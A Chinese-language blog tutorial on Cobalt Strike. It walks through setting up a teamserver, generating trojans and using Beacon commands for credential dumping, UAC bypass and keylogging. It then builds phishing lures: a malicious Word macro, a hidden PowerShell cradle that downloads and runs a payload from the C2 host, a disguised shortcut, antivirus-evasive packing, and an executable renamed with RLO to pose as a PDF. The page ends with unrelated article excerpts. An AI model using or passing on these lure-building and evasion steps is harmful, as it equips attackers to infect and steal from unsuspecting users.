Cobalt Strike

2023-10-17 22:52
文章标签 cobalt strike

本文主要是介绍Cobalt Strike,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

文章目录

  • Cobalt Strike
    • 1. Cobalt Strike 简介
    • 2. Cobalt Strike 和 MSF 的区别
    • 3. Cobalt Strike server
    • 4. Cobalt Strike client
      • 4.1 安装插件
      • 4.2 运行木马
      • 4.3 参数详情
    • 5. Cobalt Strike 鱼饵制作
      • 5.1 宏
      • 5.2 Power shell
      • 5.3 快捷方式
      • 5.4 ShellQMaker 免杀
      • 5.5 伪装pdf文件

Cobalt Strike

中华人民共和国网络安全法 (cac.gov.cn)。

1. Cobalt Strike 简介

​ Cobalt Strike是一款基于java的渗透测试神器,常被业界人称为CS神器。自3.0以后已经不在使用Metasploit框架而作为一个独立的平台使用,分为客户端与服务端,服务端是一个,客户端可以有多个,非常适合团队协同作战,多个攻击者可以同时连接到一个团队服务器上,共享攻击资源与目标信息和sessions,可模拟APT做模拟对抗,进行内网渗透。

​ Cobalt Strike集成了端口转发、服务扫描,自动化溢出,多模式端口监听,Windows的exe木马生成,Windows的dll木马生成,Java木马生成,office宏病毒生成,木马捆绑;钓鱼攻击包括:站点克隆,目标信息获取,java执行,浏览器自动攻击等等。

​ 内网渗透中拿到一个点,进行提权后进行哈希传递获得其他主机的权限,拿下域控,通过kerberos协议黄白票据获取服务,暴力破解密钥弱口令等以及扫描内网网段查看有哪些主机存活;如果该内网有好几层,那么就得做流量代理。内网中流量很敏感,防守方很容易就会发现内网IP攻击内网IP的流量,那么就要求我们短时间内渗透完成,并且在真实渗透中对方环境不可控(有没有WAF需要绕过,有没有杀毒软件要关),Cobalt Strike工具因为是图形化界面更方便更简洁进行渗透操作,并且可以将攻击者控制权限注入到system权限的系统核心进程中。

image-20231017110342450

image-20231017104643419

CS server 开启了50050端口,CS官方推进这个端口。(可修改)生成的木马连接的也是CS server 。

CS Client 可以连接CS server的50050端口。

2. Cobalt Strike 和 MSF 的区别

  • MSF

    • 生成的木马是单线联系的并且是实时通信的。
  • Cobalt Strike

    • Cobalt Strike生成的木马在执行后会主动去找CS server,CS server 允许多个用户同时登录,当有一台主机上线后,所有连接这台服务器的攻击者都可以操作上线的Shell。

    • Cobalt Strike 生成的木马并不是实时通信的,而是木马文件每隔一段时间会请求服务器CS server。(心跳默认60秒,可修改)请求是由内到外发起的请求,这样可以绕过安全设备。

注意:Cobalt Strike客户端和服务器都需要Java环境。

image-20231017113301202

3. Cobalt Strike server

将文件进行解压

unzip CobaltStrike4.8.zip

image-20231017112543000

image-20231017112732383

给服务端所有文件赋予执行权限。

image-20231017113156847

执行teamserver脚本。需要管理员权限才可以运行。

image-20231017115021401

说明

  • certificate:Cobalt Strike官方采用了非对称加密的通信,会生成一个证书,当成功运行服务器的时候会生成一个hash值,在连接服务器的时候会收到一个证书。对比哈希值,证明生成的hash值是合法的。防止受到中间人攻击。
  • host:服务器的IP地址。
  • password:密码
  • [/path/to/c2.profile]:配置文件(可写可不写)。
  • [YYYY-MM-DD]:木马文件的到期时间。
./teamserver 192.168.188.133 123456

image-20231017184000894

Cobalt Strike服务器启动成功。

4. Cobalt Strike client

进入搭配CobaltStrike中的Client双击cobaltstrike-client.cmd即可。

image-20231017160340100

image-20231017160455889

配置信息然后进行连接,

image-20231017184117360

比对之前生成的hash值和这里的hash值一致。

image-20231017183828946

界面如下

image-20231017184243326

4.1 安装插件

插件后缀名是caa

image-20231017185134583

image-20231017185218079

image-20231017185315922

image-20231017185339647

image-20231017185632964

没有区别都是windows木马,差别在询问服务执行什么命令。

image-20231017185736222

点击小耳机表示所有的监听,配置信息如下。

image-20231017190815770

查看服务器的端口情况,发现刚刚创建的6666端口已经开启了。

image-20231017190904056

选择Windows Stager Payload生成exe

image-20231017191047538

点击Generate后选择保存木马文件的路径。

image-20231017191136374

image-20231017191234796

4.2 运行木马

双击木马后就上线了。

image-20231017191644987

说明

  • pid:受害者主机上占用的哪个pid。
  • process:进程使用的exe。
  • user:受害者使用哪个用户点击的木马,可以理解为受害者的权限。
  • sleep:表示心跳。木马文件每隔一段时间会请求服务器CS server。

image-20231017191742929

点击Interact,下方会生成一个命令解释器的窗口。

image-20231017192137892

这个命令解释器相对于一个独立的命令解释器,是木马的命令解解释器。

先将sleep设置为2秒,执行完成后,心跳自动变成2秒。

image-20231017192618386

查看Beacon可以执行哪些命令,输入?进行查看。

image-20231017192722124

输入了ls显示当前木马下的所有文件信息。

image-20231017192806576

输入shell whoami,以运行木马主机的环境执行命令。

image-20231017192921382

image-20231017193438409

image-20231017193516944

之前安装插件的功能

image-20231017193656680

image-20231017194103382

4.3 参数详情

Cobalt Strike

New Connection    # 新建连接,支持连接多个服务器端 
Preferences       # 设置Cobal Strike界面、控制台、以及输出报告样式、TeamServer连接记录 
Visualization     # 主要展示输出结果的视图 
VPN Interfaces    #设置VPN接口 
Listenrs          # 创建监听器 
Script Manager    #脚本管理,可以通过AggressorScripts脚本来加强自身,能够扩展菜单栏,Beacon命令行,提权脚本等 
Close             # 退出连接 

View

Applications   # 显示受害主机的应用信息 
Credentials    # 显示所有以获取的受害主机的凭证,如hashdump、Mimikatz 
Downloads      # 查看已下载文件 
Event Log      # 主机上线记录以及团队协作聊天记录 
Keystrokes     # 查看键盘记录结果 
Proxy Pivots   # 查看代理模块 
Screenshots    # 查看所有屏幕截图 
Script Console # 加载第三方脚本以增强功能  
Targets        # 显示所有受害主机 
Web Log        # 所有Web服务的日志

Attacks

Packages

HTML Application      # 生成(executable/VBA/powershell)这三种原理实现的恶意HTA木马文件 
MS Office Macro       # 生成office宏病毒文件 
Payload Generator     # 生成各种语言版本的payload 
USB/CD AutoPlay       # 生成利用自动播放运行的木马文件 
Windows Dropper       # 捆绑器能够对任意的正常文件进行捆绑(免杀效果差) 
Windows Executable    # 生成可执行exe木马 
Windows Executable(Stageless)   # 生成无状态的可执行exe木马

Web Drive-by

Manage                  # 对开启的web服务进行管理 
Clone Site              # 克隆网站,可以记录受害者提交的数据 
Host File               # 提供文件下载,可以选择Mime类型 
Scripted Web Delivery   # 为payload提供web服务以便下载和执行,类似于Metasploit的web_delivery  
Signed Applet Attack    # 使用java自签名的程序进行钓鱼攻击(该方法已过时) 
Smart Applet Attack     # 自动检测java版本并进行攻击,针对Java 1.6.0_45以下以及Java 1.7.0_21以下版本(该方法已过时) 
System Profiler         # 用来获取系统信息,如系统版本,Flash版本,浏览器版本等 
Spear Phish              # 鱼叉钓鱼邮件

Reporting

Activity Report            # 活动报告 
Hosts Report               # 主机报告 
Indicators of Compromise   # IOC报告:包括C2配置文件的流量分析、域名、IP和上传文件的MD5 hashes 
Sessions Report             # 会话报告 
Social Engineering Report   # 社会工程报告:包括鱼叉钓鱼邮件及点击记录 Tactics, Techniques, and Procedures   # 战术技术及相关程序报告:包括行动对应的每种战术的检测策略和缓解策略 
Reset Data   # 重置数据 Export Data     # 导出数据,导出.tsv文件格式 

Help

  • Homepage # 官方主页
  • Support # 技术支持
  • Arsenal # 开发者
  • System information # 版本信息
  • About # 关于

工具栏

image-20231017194426619

1.新建连接
2.断开当前连接
3.监听器
4.改变视图为Pivot Graph(视图列表)
5.改变视图为Session Table(会话列表)
6.改变视图为Target Table(目标列表)
7.显示所有以获取的受害主机的凭证
8.查看已下载文件
9.查看键盘记录结果
10.查看屏幕截图
11.生成无状态的可执行exe木马
12.使用java自签名的程序进行钓鱼攻击
13.生成office宏病毒文件
14.为payload提供web服务以便下载和执行
15.提供文件下载,可以选择Mime类型
16.管理Cobalt Strike上运行的web服务
17.帮助
18.关于

Beacon

Beacon Commands
===============Command                   Description
-------                   -----------
argue                     进程参数欺骗
blockdlls                 在子进程中阻止非Microsoft的DLLs文件
browserpivot              注入受害者浏览器进程
bypassuac                 绕过UAC
cancel                    取消正在进行的下载
cd                        切换目录
checkin                   强制让被控端回连一次
clear                     清除beacon内部的任务队列
connect                   通过TCP连接到Beacon
covertvpn                 部署Covert VPN客户端
cp                        复制文件
dcsync                    从DC中提取密码哈希
desktop                   远程VNC
dllinject                 反射DLL注入进程
dllload                   使用LoadLibrary将DLL加载到进程中
download                  下载文件
downloads                 列出正在进行的文件下载
drives                    列出目标盘符
elevate                   尝试提权
execute                   在目标上执行程序
execute-assembly          在目标上内存中执行本地.NET程序
exit                      退出beacon
getprivs                  对当前令牌启用系统权限
getsystem                 尝试获取SYSTEM权限
getuid                    获取用户ID
hashdump                  转储密码哈希值
help                      帮助
inject                    在特定进程中生成会话
jobkill                   杀死一个后台任务
jobs                      列出后台任务
kerberos_ccache_use       从ccache文件中导入票据应用于此会话
kerberos_ticket_purge     清除当前会话的票据
kerberos_ticket_use       从ticket文件中导入票据应用于此会话

域内登录认证

# 查看网络内和域内主机和IP地址
net view
net view [domain]# 列出当前域控以及特定域控
net dclist 
net dclist [domain]# 查看当前域主机列表
shell net view /domain:[domain] 

5. Cobalt Strike 鱼饵制作

5.1 宏

新建一个word文档,具体步骤如下

image-20231017200354606

image-20231017200428945

image-20231017200452266

image-20231017200612971

image-20231017200700107

复制到之前宏代码的位置,保存文件即可。

image-20231017200727096

双击刚才的word文件,即可上线成功。

image-20231017200854369

5.2 Power shell

image-20231017201317464

image-20231017201347635

image-20231017201429763

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.188.133:80/a'))"

Win + R 输入刚才复制的内容粘贴进入回车即可。

image-20231017201508520

之后后Power shell会弹出一下,然后就上线成功。

image-20231017201552037

5.3 快捷方式

以火绒的为例,生成一个快捷方式,然后将之前生成的powershell代码复制到快捷方式的目标中。

powershell.exe -nop -w hidden -c "IEX ((new-object net.webclient).downloadstring('http://192.168.188.133:80/a'))"

image-20231017201857310

选择一个图标进行伪装,系统的图标位置如下

%SystemRoot%\System32\SHELL32.dll

image-20231017202027272

image-20231017202041295

双击我们伪装的快捷方式,之后就上线成功。

5.4 ShellQMaker 免杀

image-20231017204156753

Stager和Stageless的区别

  • Stager Payload Generator:里面是wget,curl。当Stager执行的时候会去找远程的恶意服务器,是由受害者主机主动去请求的。而不是将恶意代码上传到受害者服务器上,下载完成后恶意代码通过请求返回。
  • Stageless Payload Generator:完整功能的木马 ,里面是将所有的恶意代码写入木马中。上传到受害者服务器上。

这里选中Stager Payload Generator。

image-20231017204455905

保存恶意文件到桌面

image-20231017204619945

生成的c语言文件

image-20231017204651626

文件内容如下,以十六进制显示的

image-20231017210402940

Cobalt Strike操作如下

image-20231017210748326

image-20231017210705206

使用ShellQMaker来进行操作

image-20231017210932232

之后会在目录下生成一个shell.exe文件。

image-20231017212021536

并且在真实机中操作,没有被火绒检测到。

5.5 伪装pdf文件

使用winrarx64程序

image-20231017211548107

选中木马程序和一个pdf文件,右键添加到压缩文件中。

image-20231017211520630

设置压缩文件选项。

image-20231017211715714

解压路径选择为c:\windows\temp。

image-20231017212148915

配置在解压的时候,运行的哪些文件。注意将exe文件放在前面。

image-20231017212406929

image-20231017212459866

防止出现相同名字的文件。

image-20231017212552747

选择图标

image-20231017212653173

但是目前的生成的木马后缀名.exe太过于明显。

image-20231017212832767

文件后缀名加一个空格,然后写fdp.exe

image-20231017212935321

右键文件重命名,点击fdp前面一格然后选择插入Unicode控制字符(I)–>RLO即可。

image-20231017213039660

最后效果图

image-20231017213055617

双击文件后,上线成功。

image-20231017213305809

并且文件成功在浏览器中打开

image-20231017213400148

这篇关于Cobalt Strike的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/228496

相关文章

Cobalt Strike 4.8 用户指南-第五节-获取初始访问

Cobalt Strike 有多个选项,有助于在目标上建立初始访问。这些选项包括剖析潜在目标、创建payload和投放payload。 # 5.1、客户端 System Profiler System Profiler 是一个为客户端攻击提供的侦察工具。这个工具启动一个本地的 web 服务器,并对访问者进行指纹识别。System Profiler 提供通过用户浏览器发现的应用和插件的列表。Sy

Coder-Strike 2014 - Finals (online edition, Div. 1) C. Bug in Code

水题一道,但是卡了一个早上 我本着数据结构去做的,知道用树状数组就是没有想出来维护的方法.... 用树状数组维护,提名 i 次的人有getsum个 注意一点的是,如果怀疑的人是 1 2,然后有一个人是同时提名这两个的,那么这个人就会被算两次 因此我每次用树状数组统计的时候,将同时和第i个人提名的各个人数减1,再统计,然后再恢复(这是一种很麻烦的做法,我是渣渣别介意 #include

codeforces-Coder-Strike 2014 - Finals (online edition, Div. 2)

A. Pasha and Hamsters 模拟 #include <stdio.h>#include <string.h>int l1[101];int l2[101];int main(){memset(l1,0,sizeof (l1));memset(l2,0,sizeof (l2));int n,a,b,i,t;scanf ("%d%d%d",&n,&a,&b);for (i =

Coder-Strike 2014 - Finals (Div. 2) A. Pasha and Hamsters

超简单的贪心题,就不用多说了吧... 先处理好第一个人的,在处理第二个人的,如果二者喜欢同一个苹果,给第一个人 代码如下: #include <map>#include <cmath>#include <vector>#include <string>#include <cstdio>#include <cstring>#include <cstdlib>#include

Coder-Strike 2014 - Finals ( Div. 2) B. Start Up

判断字符串是否镜像,需要注意的是不仅要判断每个字符是否为镜像,还要判断整个字符串是否镜像 不得不说的是‘N’自身不是镜像的。。。因为这个被人hack了一次 代码如下: #include <map>#include <cmath>#include <vector>#include <string>#include <cstdio>#include <cstring>#inclu

渗透测试工具Cobalt strike-2.CS基础使用

三、结合metasploit,反弹shell   在kali中开启使用命令开启metasploit msfconsole ┌──(root㉿oldboy)-[~]└─# msfconsole---msf6 > use exploit/multi/handler[*] Using configured payload generic/shell_reverse_tcp---ms

Cobalt Strike cs工具在kali中运行中文版

修改cobaltstrikeCN.sh,改为: #!/bin/sh java -Dfile.encoding=UTF-8 -javaagent:CobaltStrikeCN.jar -XX:ParallelGCThreads=4 -XX:+AggressiveHeap -XX:+UseParallelGC -jar cobaltstrike.jar 运行时提示权限不够,则进入到cs文件夹的上一目

codeforces 884B Japanese Crosswords Strike Back

http://codeforces.com/problemset/problem/884/B 给出一个长度,表示一个二进制的数的长度,再给出n个数,用二进制来表示,如果1101则表示2和12个数,即连续的1相加表示一个数,问用这个长度的二进制来表示这n个数,且表示的方式只有一个,其实如果是只有一张表示方式,则有所有n个数的和相加等于长度减去+1-n; #in

Unity类银河恶魔城学习记录11-14 p116 Thunder strike item effect源代码

Alex教程每一P的教程原代码加上我自己的理解初步理解写的注释,可供学习Alex教程的人参考 此代码仅为较上一P有所改变的代码 【Unity教程】从0编程制作类银河恶魔城游戏_哔哩哔哩_bilibili ThurderStrike_Controller.cs using System.Collections;using System.Collections.Generic;using U

Coder-Strike 2014 - Round 2 B. Spyke Chatting

2019独角兽企业重金招聘Python工程师标准>>> 题目: B. Spyke Chatting time limit per test 1 second memory limit per test 256 megabytes input standard input output standard output The R2 company has n employees worki